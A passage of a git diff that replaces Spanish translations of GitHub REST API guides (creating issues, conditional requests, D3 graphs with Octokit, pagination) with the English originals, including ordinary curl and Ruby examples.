para enlazar a los recursos externos, en este caso, a las páginas de datos adicionales. Ya que nuestra llamada encontró más de treinta informes de problemas (el tamaño predeterminado de página), la API no s dice dónde podemos encontrar la siguiente página y la última página de los resultados. +The [`Link` header][link-header] provides a way for a response to link to +external resources, in this case additional pages of data. Since our call found +more than thirty issues (the default page size), the API tells us where we can +find the next page and the last page of results. -### Crear una propuesta +### Creating an issue -Ahora que hemos visto cómo paginar las listas de propuestas, vamos a [crear una propuesta][create issue] desde la API. +Now that we've seen how to paginate lists of issues, let's [create an issue][create issue] from +the API. -Para crear un informe de problemas, necesitamos estar autenticados, así que pasaremos un token de OAuth en el encabezado. También, pasaremos el título, cuerpo, y etiquetas en el cuerpo de JSON a la ruta `/issues` debajo del repositorio en el cual queremos crear el informe de problemas: +To create an issue, we need to be authenticated, so we'll pass an +OAuth token in the header. Also, we'll pass the title, body, and labels in the JSON +body to the `/issues` path underneath the repository in which we want to create +the issue: ```shell $ curl -i -H 'Authorization: token {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}' \ @@ -365,11 +419,14 @@ $ {% data variables.product.api_url_pre %}/repos/pengwynn/api-sandbox/issues > } ``` -La respuesta nos entrega un par de sugerencias para el informe de problemas recién creado, tanto en el encabezado de respuesta de `Location` como en el campo de `url` de la respuesta de JSON. +The response gives us a couple of pointers to the newly created issue, both in +the `Location` response header and the `url` field of the JSON response. -## Solicitudes condicionales +## Conditional requests -Una gran parte de ser un buen ciudadano de la API es respetar los límites de tasa al almacenar información en el caché, la cual no haya cambiado. La API es compatible con las [solicitudes condicionales][conditional-requests] y te ayuda a hacer lo correcto. Considera el primer llamado que hicimos para obtener el perfil de defunkt: +A big part of being a good API citizen is respecting rate limits by caching information that hasn't changed. The API supports [conditional +requests][conditional-requests] and helps you do the right thing. Consider the +first call we made to get defunkt's profile: ```shell $ curl -i {% data variables.product.api_url_pre %}/users/defunkt @@ -378,7 +435,10 @@ $ curl -i {% data variables.product.api_url_pre %}/users/defunkt > etag: W/"61e964bf6efa3bc3f9e8549e56d4db6e0911d8fa20fcd8ab9d88f13d513f26f0" ``` -Además del cuerpo de JSON, toma nota del código de estado HTTP de `200` y del encabezado `ETag`. La [ETag][etag] es una huella digital de la respuesta. Si la pasamos en llamadas subsecuentes, podemos decirle a la API que nos entregue el recurso nuevamente, únicamente si cambió: +In addition to the JSON body, take note of the HTTP status code of `200` and +the `ETag` header. +The [ETag][etag] is a fingerprint of the response. If we pass that on subsequent calls, +we can tell the API to give us the resource again, only if it has changed: ```shell $ curl -i -H 'If-None-Match: "61e964bf6efa3bc3f9e8549e56d4db6e0911d8fa20fcd8ab9d88f13d513f26f0"' \ @@ -387,24 +447,25 @@ $ {% data variables.product.api_url_pre %}/users/defunkt > HTTP/2 304 ``` -El estado `304` indica que el recurso no ha cambiado desde la última vez que lo solicitamos y que la respuesta no contendrá ningún cuerpo. Como bonificación, las respuestas `304` no contarán para tu [límite de tasa][rate-limiting]. +The `304` status indicates that the resource hasn't changed since the last time +we asked for it and the response will contain no body. As a bonus, `304` responses don't count against your [rate limit][rate-limiting]. -¡Qué! Now you know the basics of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API! +Woot! Now you know the basics of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API! -* Autenticación básica & de OAuth -* Obtener y crear repositorios e informes de problemas -* Solicitudes condicionales +* Basic & OAuth authentication +* Fetching and creating repositories and issues +* Conditional requests -Sigue aprendiendo con la siguiente guía de la API ¡[Fundamentos de la Autenticación][auth guide]! +Keep learning with the next API guide [Basics of Authentication][auth guide]! [wrappers]: /libraries/ [curl]: http://curl.haxx.se/ [media types]: /rest/overview/media-types [oauth]: /apps/building-integrations/setting-up-and-registering-oauth-apps/ [webflow]: /apps/building-oauth-apps/authorizing-oauth-apps/ +[create a new authorization API]: /rest/reference/oauth-authorizations#create-a-new-authorization [scopes]: /apps/building-oauth-apps/understanding-scopes-for-oauth-apps/ [repos-api]: /rest/reference/repos -[repos-api]: /rest/reference/repos [pages]: http://pages.github.com [nanoc]: http://nanoc.ws/ [gitignore templates]: https://github.com/github/gitignore @@ -412,13 +473,14 @@ Sigue aprendiendo con la siguiente guía de la API ¡[Fundamentos de la Autentic [link-header]: https://www.w3.org/wiki/LinkHeader [conditional-requests]: /rest#conditional-requests [rate-limiting]: /rest#rate-limiting -[rate-limiting]: /rest#rate-limiting [users api]: /rest/reference/users#get-a-user -[defunkt github]: https://github.com/defunkt +[auth user api]: /rest/reference/users#get-the-authenticated-user [defunkt github]: https://github.com/defunkt [json]: http://en.wikipedia.org/wiki/JSON [authentication]: /rest#authentication -[personal token]: /articles/creating-an-access-token-for-command-line-use +[2fa]: /articles/about-two-factor-authentication +[2fa header]: /rest/overview/other-authentication-methods#working-with-two-factor-authentication +[oauth section]: /rest/guides/getting-started-with-the-rest-api#oauth [personal token]: /articles/creating-an-access-token-for-command-line-use [tokens settings]: https://github.com/settings/tokens [pagination]: /rest#pagination @@ -430,6 +492,6 @@ Sigue aprendiendo con la siguiente guía de la API ¡[Fundamentos de la Autentic [other user repos api]: /rest/reference/repos#list-repositories-for-a-user [org repos api]: /rest/reference/repos#list-organization-repositories [get issues api]: /rest/reference/issues#list-issues-assigned-to-the-authenticated-user -[get issues api]: /rest/reference/issues#list-issues-assigned-to-the-authenticated-user [repo issues api]: /rest/reference/issues#list-repository-issues [etag]: http://en.wikipedia.org/wiki/HTTP_ETag +[2fa section]: /rest/guides/getting-started-with-the-rest-api#two-factor-authentication diff --git a/translations/es-ES/content/rest/guides/index.md b/translations/es-ES/content/rest/guides/index.md index 33c31959ee..1715450046 100644 --- a/translations/es-ES/content/rest/guides/index.md +++ b/translations/es-ES/content/rest/guides/index.md @@ -1,6 +1,6 @@ --- -title: Guías -intro: 'Aprende como empezar con la API de REST, cómo funciona la autenticación, o cómo utilizar la API de REST para tareas diveras.' +title: Guides +intro: 'Learn about getting started with the REST API, authentication, and how to use the REST API for a variety of tasks.' redirect_from: - /guides/ - /v3/guides @@ -24,5 +24,10 @@ children: - /getting-started-with-the-git-database-api - /getting-started-with-the-checks-api --- - -This section of the documentation is intended to get you up-and-running with real-world {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API applications. Abordaremos todo lo que necesitas saber, desde la autenticación, hasta manipular los resultados, e incluso hasta combiar los resultados con otras apps. Cada tutorial en esta sección tendrá un proyecto, y cada proyecto se almacenará y documentará en nuestro repositorio público de [platform-samples](https://github.com/github/platform-samples). ![El Electrocat](/assets/images/electrocat.png) +This section of the documentation is intended to get you up-and-running with +real-world {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API applications. We'll cover everything you need to know, from +authentication, to manipulating results, to combining results with other apps. +Every tutorial here will have a project, and every project will be +stored and documented in our public +[platform-samples](https://github.com/github/platform-samples) repository. +![The Electrocat](/assets/images/electrocat.png) diff --git a/translations/es-ES/content/rest/guides/rendering-data-as-graphs.md b/translations/es-ES/content/rest/guides/rendering-data-as-graphs.md index a8171d8174..97140abdca 100644 --- a/translations/es-ES/content/rest/guides/rendering-data-as-graphs.md +++ b/translations/es-ES/content/rest/guides/rendering-data-as-graphs.md @@ -1,6 +1,6 @@ --- -title: Representar los datos en gráficas -intro: Aprende a visualizar los lenguajes de programación de tu repositorio utilizando la biblioteca D3.js y el Octokit de Ruby. +title: Rendering data as graphs +intro: Learn how to visualize the programming languages from your repository using the D3.js library and Ruby Octokit. redirect_from: - /guides/rendering-data-as-graphs/ - /v3/guides/rendering-data-as-graphs @@ -15,15 +15,21 @@ topics: -En esta guía vamos a utilizar la API para obtener información acerca de los repositorios que nos pertenecen y de los lenguajes de programación que los componen. Luego, vamos a visualizar la información en un par de formas diferentes utilizando la librería [D3.js][D3.js]. To interact with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we'll be using the excellent Ruby library, [Octokit][Octokit]. +In this guide, we're going to use the API to fetch information about repositories +that we own, and the programming languages that make them up. Then, we'll +visualize that information in a couple of different ways using the [D3.js][D3.js] library. To +interact with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we'll be using the excellent Ruby library, [Octokit][Octokit]. -Si aún no lo has hecho, deberías leer la guía de ["Fundamentos de la Autenticación"][basics-of-authentication] antes de comenzar con este ejemplo. Puedes encontrar el código fuente completo para este proyecto en el repositorio [platform-samples][platform samples]. +If you haven't already, you should read the ["Basics of Authentication"][basics-of-authentication] +guide before starting this example. You can find the complete source code for this project in the [platform-samples][platform samples] repository. -¡Comencemos de inmediato! +Let's jump right in! -## Configurar una aplicación de OAuth +## Setting up an OAuth application -Primero, [registra una aplicación nueva][new oauth application] en {% data variables.product.product_name %}. Configura la URL principal y la de rellamado como `http://localhost:4567/`. Tal como lo hemos hecho [antes][basics-of-authentication], vamos a gestionar la autenticación para la API implementando un recurso intermedio de Rack utilizando [sinatra-auth-github][sinatra auth github]: +First, [register a new application][new oauth application] on {% data variables.product.product_name %}. Set the main and callback +URLs to `http://localhost:4567/`. As [before][basics-of-authentication], we're going to handle authentication for the API by +implementing a Rack middleware using [sinatra-auth-github][sinatra auth github]: ``` ruby require 'sinatra/auth/github' @@ -62,7 +68,7 @@ module Example end ``` -Configura un archivo similar de _config.ru_ como en el ejemplo previo: +Set up a similar _config.ru_ file as in the previous example: ``` ruby ENV['RACK_ENV'] ||= 'development' @@ -74,11 +80,15 @@ require File.expand_path(File.join(File.dirname(__FILE__), 'server')) run Example::MyGraphApp ``` -## Obtener la información del repositorio +## Fetching repository information -This time, in order to talk to the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we're going to use the [Octokit Ruby library][Octokit]. Esto es mucho más fácil que hacer un montón de llamadas de REST directamente. Además, un Githubber desarrolló Octokit, y se mantiene activamente, así que sabes que funcionará. +This time, in order to talk to the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we're going to use the [Octokit +Ruby library][Octokit]. This is much easier than directly making a bunch of +REST calls. Plus, Octokit was developed by a GitHubber, and is actively maintained, +so you know it'll work. -Autenticarse con la API a través de Octokit es fácil. Solo pasa tu información de inicio de sesión y tu token en el constructor `Octokit::Client`: +Authentication with the API via Octokit is easy. Just pass your login +and token to the `Octokit::Client` constructor: ``` ruby if !authenticated? @@ -88,13 +98,17 @@ else end ``` -Vamos a hacer algo interesante con los datos acerca de nuestros repositorios. Vamos a ver los diferentes lenguajes de programación que utilizan y a contar cuáles se utilizan más a menudo. Para hacerlo, primero necesitamos tomar una lista de nuestros repositorios desde la API. Con Octokit, esto se ve así: +Let's do something interesting with the data about our repositories. We're going +to see the different programming languages they use, and count which ones are used +most often. To do that, we'll first need a list of our repositories from the API. +With Octokit, that looks like this: ``` ruby repos = client.repositories ``` -Después, vamos a iterar sobre cada repositorio y a contar los lenguajes con los que {% data variables.product.product_name %} los asocia: +Next, we'll iterate over each repository, and count the language that {% data variables.product.product_name %} +associates with it: ``` ruby language_obj = {} @@ -112,19 +126,25 @@ end languages.to_s ``` -Cuando reinicias tu servidor, tu página web debe mostrar más o menos esto: +When you restart your server, your web page should display something +that looks like this: ``` ruby {"JavaScript"=>13, "PHP"=>1, "Perl"=>1, "CoffeeScript"=>2, "Python"=>1, "Java"=>3, "Ruby"=>3, "Go"=>1, "C++"=>1} ``` -Hasta ahora vamos bien, pero no se ve muy amigable para un humano. Sería genial poder tener algún tipo de visualización para entender cómo se distribuye este conteo de lenguajes. Vamos a alimentar a D3 con nuestros conteos para obtener una gráfica de barras clara que represente la popularidad de los lenguajes que utilizamos. +So far, so good, but not very human-friendly. A visualization +would be great in helping us understand how these language counts are distributed. Let's feed +our counts into D3 to get a neat bar graph representing the popularity of the languages we use. -## Visualizar los conteos de los lenguajes +## Visualizing language counts -D3.js, o simplemente D3, es una biblioteca completa para crear muchos tipos de gráficos, tablas, y visualizaciones interactivas. El utilizarlo a detalle va más allá del alcance de esta guía, pero para ver un buen artículo introductorio al respecto, revisa ["D3 para mortales"][D3 mortals]. +D3.js, or just D3, is a comprehensive library for creating many kinds of charts, graphs, and interactive visualizations. +Using D3 in detail is beyond the scope of this guide, but for a good introductory article, +check out ["D3 for Mortals"][D3 mortals]. -D3 es una biblioteca de JavaScript a la que le gusta trabajar con matrices de datos. Así que, vamos a convertir a nuestro hash de Ruby en una matriz de JSON para que JavaScript la utilice en el buscador. +D3 is a JavaScript library, and likes working with data as arrays. So, let's convert our Ruby hash into +a JSON array for use by JavaScript in the browser. ``` ruby languages = [] @@ -135,9 +155,13 @@ end erb :lang_freq, :locals => { :languages => languages.to_json} ``` -Simplemente estamos iterando sobre cada par de clave-valor en nuestro objeto y lo estamos cargando en una matriz nueva. La razón por la cual no lo hicimos antes es porque no queríamos iterar sobre nuestro objeto de `language_obj` mientras lo estábamos creando. +We're simply iterating over each key-value pair in our object and pushing them into +a new array. The reason we didn't do this earlier is because we didn't want to iterate +over our `language_obj` object while we were creating it. -Ahora, _lang_freq.erb_ va a necesitar algo de JavaScript para apoyar a que se interprete una gráfica de barras. Por ahora, puedes simplemente utilizar el código que se te proporciona aquí y referirte a los recursos cuyo enlace se señala anteriormente si quieres aprender más sobre cómo funciona D3: +Now, _lang_freq.erb_ is going to need some JavaScript to support rendering a bar graph. +For now, you can just use the code provided here, and refer to the resources linked above +if you want to learn more about how D3 works: ``` html @@ -218,15 +242,26 @@ Ahora, _lang_freq.erb_ va a necesitar algo de JavaScript para apoyar a que se in ``` -¡Uf! Nuevamente, no te preocupes de la mayoría de lo que está haciendo este código. La parte relevante es lo que está hasta arriba--`var data = <%= languages %>;`--lo cual indica que estamos pasando nuestra matriz previamente creada de `languages` en el ERB para su manipulación. +Phew! Again, don't worry about what most of this code is doing. The relevant part +here is a line way at the top--`var data = <%= languages %>;`--which indicates +that we're passing our previously created `languages` array into ERB for manipulation. -Tal como sugiere la guía de "D3 para Mortales", esto no es necesariamente la mejor forma de utilizar D3. Pero nos sirve para ilustrar cómo puedes utilizar la biblioteca, junto con Octokit, para hacer algunas cosas verdaderamente increíbles. +As the "D3 for Mortals" guide suggests, this isn't necessarily the best use of +D3. But it does serve to illustrate how you can use the library, along with Octokit, +to make some really amazing things. -## Combinar las diferentes llamadas de la API +## Combining different API calls -Ahora es el momento de hacer una confesión: el atributo de `language` dentro de los repositorios solo identifica el lenguaje "primario" que se definió. Esto significa que, si tienes un repositorio que combine varios lenguajes, el que tenga más bytes de código se considera comoel primario. +Now it's time for a confession: the `language` attribute within repositories +only identifies the "primary" language defined. That means that if you have +a repository that combines several languages, the one with the most bytes of code +is considered to be the primary language. -Vamos a combinar algunas llamadas a la API para obtener una representación _fidedigna_ de qué lenguaje tiene la mayor cantidad de bytes escritos en todo nuestro código. Un [diagrama de árbol][D3 treemap] puede ser una manera excelente de visualizar los tamaños de los lenguajes de programación que se utilizan, en vez de utilizar solo el conteo. Necesitaremos construir una matriz de objetos que se vea más o menos así: +Let's combine a few API calls to get a _true_ representation of which language +has the greatest number of bytes written across all our code. A [treemap][D3 treemap] +should be a great way to visualize the sizes of our coding languages used, rather +than simply the count. We'll need to construct an array of objects that looks +something like this: ``` json [ { "name": "language1", "size": 100}, @@ -235,7 +270,8 @@ Vamos a combinar algunas llamadas a la API para obtener una representación _fid ] ``` -Como ya tenemos una lista de repositorios anteriormente, vamos a inspeccionar cada uno y a llamar al [método de la API para listar los lenguajes][language API]: +Since we already have a list of repositories above, let's inspect each one, and +call [the language listing API method][language API]: ``` ruby repos.each do |repo| @@ -244,7 +280,7 @@ repos.each do |repo| end ``` -Desde aquí, agregaremos en una lista acumulativa cada lenguaje que encontremos: +From there, we'll cumulatively add each language found to a list of languages: ``` ruby repo_langs.each do |lang, count| @@ -256,7 +292,7 @@ repo_langs.each do |lang, count| end ``` -Después de ésto, daremos formato al contenido en una estructura que entienda el D3: +After that, we'll format the contents into a structure that D3 understands: ``` ruby language_obj.each do |lang, count| @@ -267,15 +303,16 @@ end language_bytes = [ :name => "language_bytes", :elements => language_byte_count] ``` -(Para obtener más información sobre la magia del diagrama de árbo del D3, échale un vistazo a [este tutorial sencillo][language API].) +(For more information on D3 tree map magic, check out [this simple tutorial][language API].) -Para concluir, pasamos la información de JSON a la misma plantilla de ERB: +To wrap up, we pass this JSON information over to the same ERB template: ``` ruby erb :lang_freq, :locals => { :languages => languages.to_json, :language_byte_count => language_bytes.to_json} ``` -Como antes, hay mucho JavaScript que puedes dejar directamente en tu plantilla: +Like before, here's a bunch of JavaScript that you can drop +directly into your template: ``` html
                @@ -325,18 +362,19 @@ Como antes, hay mucho JavaScript que puedes dejar directamente en tu plantilla: ``` -¡Y voilá! Hermosos rectángulos que contienen los lenguajes de tu repositorio con proporciones relativas que se pueden ver inmediatamente. Tal vez necesites modificar la altura y el ancho de tu diagrama de árbol para pasarlo como los primeros dos argumentos en el `drawTreemap` anterior y así lograr que se muestre adecuadamente toda la información. +Et voila! Beautiful rectangles containing your repo languages, with relative +proportions that are easy to see at a glance. You might need to +tweak the height and width of your treemap, passed as the first two +arguments to `drawTreemap` above, to get all the information to show up properly. [D3.js]: http://d3js.org/ [basics-of-authentication]: /rest/guides/basics-of-authentication -[basics-of-authentication]: /rest/guides/basics-of-authentication [sinatra auth github]: https://github.com/atmos/sinatra_auth_github [Octokit]: https://github.com/octokit/octokit.rb -[Octokit]: https://github.com/octokit/octokit.rb [D3 mortals]: http://www.recursion.org/d3-for-mere-mortals/ -[D3 treemap]: https://www.d3-graph-gallery.com/treemap.html -[language API]: /rest/reference/repos#list-repository-languages +[D3 treemap]: https://www.d3-graph-gallery.com/treemap.html [language API]: /rest/reference/repos#list-repository-languages +[simple tree map]: http://2kittymafiasoftware.blogspot.com/2011/09/simple-treemap-visualization-with-d3.html [platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/rendering-data-as-graphs [new oauth application]: https://github.com/settings/applications/new diff --git a/translations/es-ES/content/rest/guides/traversing-with-pagination.md b/translations/es-ES/content/rest/guides/traversing-with-pagination.md index 6cf7cc2afa..bbf5c4c404 100644 --- a/translations/es-ES/content/rest/guides/traversing-with-pagination.md +++ b/translations/es-ES/content/rest/guides/traversing-with-pagination.md @@ -1,6 +1,6 @@ --- -title: Desplazarse con la paginación -intro: Explora las formas para utilizar la paginación en la administración de tus respuestas con algunos ejemplos de cómo utilizar la API de Búsqueda. +title: Traversing with pagination +intro: Explore how to use pagination to manage your responses with some examples using the Search API. redirect_from: - /guides/traversing-with-pagination/ - /v3/guides/traversing-with-pagination @@ -11,75 +11,105 @@ versions: ghec: '*' topics: - API -shortTitle: Desplazarse con la paginación +shortTitle: Traverse with pagination --- -The {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API provides a vast wealth of information for developers to consume. La mayoría de las veces incluso podrías encontrar que estás pidiendo _demasiada_ información y, para mantener felices a nuestros servidores, la API [paginará los elementos solicitados][pagination] automáticamente. +The {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API provides a vast wealth of information for developers to consume. +Most of the time, you might even find that you're asking for _too much_ information, +and in order to keep our servers happy, the API will automatically [paginate the requested items][pagination]. -En esta guía haremos algunos llamados a la API de Búsqueda de e iteraremos sobre los resultados utilizando la paginación. Puedes encontrar todo el código fuente de este proyecto en el repositorio [platform-samples][platform samples]. +In this guide, we'll make some calls to the Search API, and iterate over +the results using pagination. You can find the complete source code for this project +in the [platform-samples][platform samples] repository. {% data reusables.rest-api.dotcom-only-guide-note %} -## Fundamentos de la Paginación +## Basics of Pagination -Para empezar, es importante saber algunos hechos acerca de recibir elementos paginados: +To start with, it's important to know a few facts about receiving paginated items: -1. Las diferentes llamadas a la API responden con predeterminados diferentes también. Por ejemplo, una llamada a [Listar repositorios públicos](/rest/reference/repos#list-public-repositories) proporciona elementos paginados en conjuntos de 30, mientras que una llamada a la API de Búsqueda de GitHub proporciona elementos en conjuntos de 100 -2. Puedes especificar cuantos elementos quieres recibir (hasta llegar a 100 como máxmo); pero, -3. Por razones técnicas, no todas las terminales se comportan igual. Por ejemplo, los [eventos](/rest/reference/activity#events) no te dejarán usar un máximo de elementos a recibir. Asegúrate de leer la documentación sobre cómo gestionar los resultados paginados para terminales específicas. +1. Different API calls respond with different defaults. For example, a call to +[List public repositories](/rest/reference/repos#list-public-repositories) +provides paginated items in sets of 30, whereas a call to the GitHub Search API +provides items in sets of 100 +2. You can specify how many items to receive (up to a maximum of 100); but, +3. For technical reasons, not every endpoint behaves the same. For example, +[events](/rest/reference/activity#events) won't let you set a maximum for items to receive. +Be sure to read the documentation on how to handle paginated results for specific endpoints. -Te proporcionamos la información sobre la paginación en [el encabezado de enlace](https://datatracker.ietf.org/doc/html/rfc5988) de una llamada a la API. Por ejemplo, vamos a hacer una solicitud de curl a la API de búsqueda para saber cuántas veces se utiliza la frase `addClass` en los proyectos de Mozilla: +Information about pagination is provided in [the Link header](https://datatracker.ietf.org/doc/html/rfc5988) +of an API call. For example, let's make a curl request to the search API, to find +out how many times Mozilla projects use the phrase `addClass`: ```shell $ curl -I "https://api.github.com/search/code?q=addClass+user:mozilla" ``` -El parámetro `-I` indica que solo nos interesan los encabezados y no el contenido en sí. Al examinar el resultado, notarás alguna información en el encabezado de enlace, la cual se ve así: +The `-I` parameter indicates that we only care about the headers, not the actual +content. In examining the result, you'll notice some information in the Link header +that looks like this: Link: ; rel="next", ; rel="last" -Vamos a explicarlo. `rel="next"` dice que la siguiente página es la `page=2`. Esto tiene sentido ya que, predeterminadamente, todas las consultas paginadas inician en la página `1.` y `rel="last"` proporciona más información, lo cual nos dice que la última página de los resultados es la `34`. Por lo tanto, tenemos otras 33 páginas de información que podemos consumir acerca de `addClass`. ¡Excelente! +Let's break that down. `rel="next"` says that the next page is `page=2`. This makes +sense, since by default, all paginated queries start at page `1.` `rel="last"` +provides some more information, stating that the last page of results is on page `34`. +Thus, we have 33 more pages of information about `addClass` that we can consume. +Nice! -Confía **siempre** en estas relaciones de enlace que se te proporcionan. No intentes adivinar o construir tu propia URL. +**Always** rely on these link relations provided to you. Don't try to guess or construct your own URL. -### Navegar a través de las páginas +### Navigating through the pages -Ahora que sabescuántas páginas hay para recibir, puedes comenzar a navegar a través de ellas para consumir los resultados. Esto se hace pasando un parámetro de `page`. Predeterminadamente, la `page` siempre comienza en `1`. Vamos a saltar a la página 14 para ver qué pasa: +Now that you know how many pages there are to receive, you can start navigating +through the pages to consume the results. You do this by passing in a `page` +parameter. By default, `page` always starts at `1`. Let's jump ahead to page 14 +and see what happens: ```shell $ curl -I "https://api.github.com/search/code?q=addClass+user:mozilla&page=14" ``` -Aquí está el encabezado de enlace una vez más: +Here's the link header once more: Link: ; rel="next", ; rel="last", ; rel="first", ; rel="prev" -Como era de esperarse, la `rel="next"` está en 15, y la `rel="last"` es aún 34. Pero ahora tenemos más información: `rel="first"` indica la URL de la _primera_ página, y lo que es más importante, `rel="prev"` te dice el número de página de la página anterior. Al utilizar esta información, puedes construir alguna IU que le permita a los usuarios saltar entre la lista de resultados principal, previa o siguiente en una llamada a la API. +As expected, `rel="next"` is at 15, and `rel="last"` is still 34. But now we've +got some more information: `rel="first"` indicates the URL for the _first_ page, +and more importantly, `rel="prev"` lets you know the page number of the previous +page. Using this information, you could construct some UI that lets users jump +between the first, previous, next, or last list of results in an API call. -### Cambiar la cantidad de elementos recibidos +### Changing the number of items received -Al pasar el parámetro `per_page`, puedes especificar cuantos elementos quieres que devuelva cada página, hasta un máximo de 100 de ellos. Vamos a comenzar pidiendo 50 elementos acerca de `addClass`: +By passing the `per_page` parameter, you can specify how many items you want +each page to return, up to 100 items. Let's try asking for 50 items about `addClass`: ```shell $ curl -I "https://api.github.com/search/code?q=addClass+user:mozilla&per_page=50" ``` -Nota lo que hace en la respuesta del encabezado: +Notice what it does to the header response: Link: ; rel="next", ; rel="last" -Como habrás adivinado, la información de la `rel="last"` dice que la última página ahora es la 20. Esto es porque estamos pidiendo más información por página acerca de nuestros resultados. +As you might have guessed, the `rel="last"` information says that the last page +is now 20. This is because we are asking for more information per page about +our results. -## Consumir la información +## Consuming the information -No debes estar haciendo llamadas de curl de bajo nivel para poder trabajar con la paginación, así que escribamos un script de Ruby sencillo que haga todo lo que acabamos de describir anteriormente. +You don't want to be making low-level curl calls just to be able to work with +pagination, so let's write a little Ruby script that does everything we've +just described above. -Como siempre, primero solicitaremos la biblioteca de Ruby [Octokit.rb de GitHub][octokit.rb] y pasaremos nuestro [token de acceso personal][personal token]: +As always, first we'll require [GitHub's Octokit.rb][octokit.rb] Ruby library, and +pass in our [personal access token][personal token]: ``` ruby require 'octokit' @@ -89,16 +119,26 @@ require 'octokit' client = Octokit::Client.new :access_token => ENV['MY_PERSONAL_TOKEN'] ``` -Después, ejecutaremos la búsqueda utilizando el método `search_code` de Octokit. A diferencia de cuando se utiliza `curl`, también podemos recuperar de inmediato la cantidad de resultados, así que hagámoslo: +Next, we'll execute the search, using Octokit's `search_code` method. Unlike +using `curl`, we can also immediately retrieve the number of results, so let's +do that: ``` ruby results = client.search_code('addClass user:mozilla') total_count = results.total_count ``` -Ahora tomemos el número de la última página de forma similar a la información de `page=34>; rel="last"` en el encabezado de enlace. Octokit.rb es compatible con información de paginación a través de una implementación llamada "[Relaciones de enlace de hipermedios][hypermedia-relations]." No entraremos en detalles sobre lo que es, pero basta con decir que cada elemento en la variable de `results` tiene un hash que se llama `rels`, el cual contiene información sobre `:next`, `:last`, `:first`, y `:prev`, dependiendo del resultado en el que estés. Estas relaciones también contienen información sobre la URL resultante llamando a `rels[:last].href`. +Now, let's grab the number of the last page, similar to `page=34>; rel="last"` +information in the link header. Octokit.rb support pagination information through +an implementation called "[Hypermedia link relations][hypermedia-relations]." +We won't go into detail about what that is, but, suffice to say, each element +in the `results` variable has a hash called `rels`, which can contain information +about `:next`, `:last`, `:first`, and `:prev`, depending on which result you're +on. These relations also contain information about the resulting URL, by calling +`rels[:last].href`. -Ahora que sabemos esto, vamos a tomar el número de página del último resultado y a presentar toda esta información al usuario: +Knowing this, let's grab the page number of the last result, and present all +this information to the user: ``` ruby last_response = client.last_response @@ -107,7 +147,13 @@ number_of_pages = last_response.rels[:last].href.match(/page=(\d+).*$/)[1] puts "There are #{total_count} results, on #{number_of_pages} pages!" ``` -Por último, vamos a iterar entre los resultados. Puedes hacerlo con un bucle como `for i in 1..number_of_pages.to_i`, pero mejor vamos a seguir los encabezados de `rels[:next]` para recuperar la información de cada página. Para mantener la simplicidad, solo vamos a tomar la ruta del archivo del primer resultado de cada página. Para hacerlo, vamos a necesitar un bucle; y al final de cada bucle, vamos a recuperar los datos que se configuraron para la siguiente página siguiendo la información de `rels[:next]`. El bucle terminará cuando ya no haya información de `rels[:next]` que consumir (es decir, cuando estemos en `rels[:last]`). Se verá más o menos así: +Finally, let's iterate through the results. You could do this with a loop `for i in 1..number_of_pages.to_i`, +but instead, let's follow the `rels[:next]` headers to retrieve information from +each page. For the sake of simplicity, let's just grab the file path of the first +result from each page. To do this, we'll need a loop; and at the end of every loop, +we'll retrieve the data set for the next page by following the `rels[:next]` information. +The loop will finish when there is no `rels[:next]` information to consume (in other +words, we are at `rels[:last]`). It might look something like this: ``` ruby puts last_response.data.items.first.path @@ -117,7 +163,9 @@ until last_response.rels[:next].nil? end ``` -Cambiar la cantidad de elementos por página es extremadamente simple con Octokit.rb. Simplemente pasa un hash de opciones de `per_page` a la construcción del cliente inicial. Después de ésto, tu código debería permanecer intacto: +Changing the number of items per page is extremely simple with Octokit.rb. Simply +pass a `per_page` options hash to the initial client construction. After that, +your code should remain intact: ``` ruby require 'octokit' @@ -144,15 +192,17 @@ until last_response.rels[:next].nil? end ``` -## Construir enlaces de paginación +## Constructing Pagination Links -Habitualmente, con la paginación, tu meta no es concentrar todos los resultados posibles, sino más bien producir un conjunto de navegación, como éste: +Normally, with pagination, your goal isn't to concatenate all of the possible +results, but rather, to produce a set of navigation, like this: -![Muestra de los enlaces de paginación](/assets/images/pagination_sample.png) +![Sample of pagination links](/assets/images/pagination_sample.png) -Vamos a modelar una micro versión de lo que esto podría implicar. +Let's sketch out a micro-version of what that might entail. -Desde el código anterior, ya sabemos que podemos obtener el `number_of_pages` en los resultados paginados desde la primera llamada: +From the code above, we already know we can get the `number_of_pages` in the +paginated results from the first call: ``` ruby require 'octokit' @@ -171,7 +221,7 @@ puts last_response.rels[:last].href puts "There are #{total_count} results, on #{number_of_pages} pages!" ``` -Desde aquí, podemos construir una hermosa representación en ASCII de las cajas de número: +From there, we can construct a beautiful ASCII representation of the number boxes: ``` ruby numbers = "" for i in 1..number_of_pages.to_i @@ -180,7 +230,8 @@ end puts numbers ``` -Vamos a simular que un usuario da clic en alguna de estas cajas mediante la construcción de un número aleatorio: +Let's simulate a user clicking on one of these boxes, by constructing a random +number: ``` ruby random_page = Random.new @@ -189,13 +240,15 @@ random_page = random_page.rand(1..number_of_pages.to_i) puts "A User appeared, and clicked number #{random_page}!" ``` -Ahora que tenemos un número de página, podemos usar el Octokit para recuperar explícitamente dicha página individual si pasamos la opción `:page`: +Now that we have a page number, we can use Octokit to explicitly retrieve that +individual page, by passing the `:page` option: ``` ruby clicked_results = 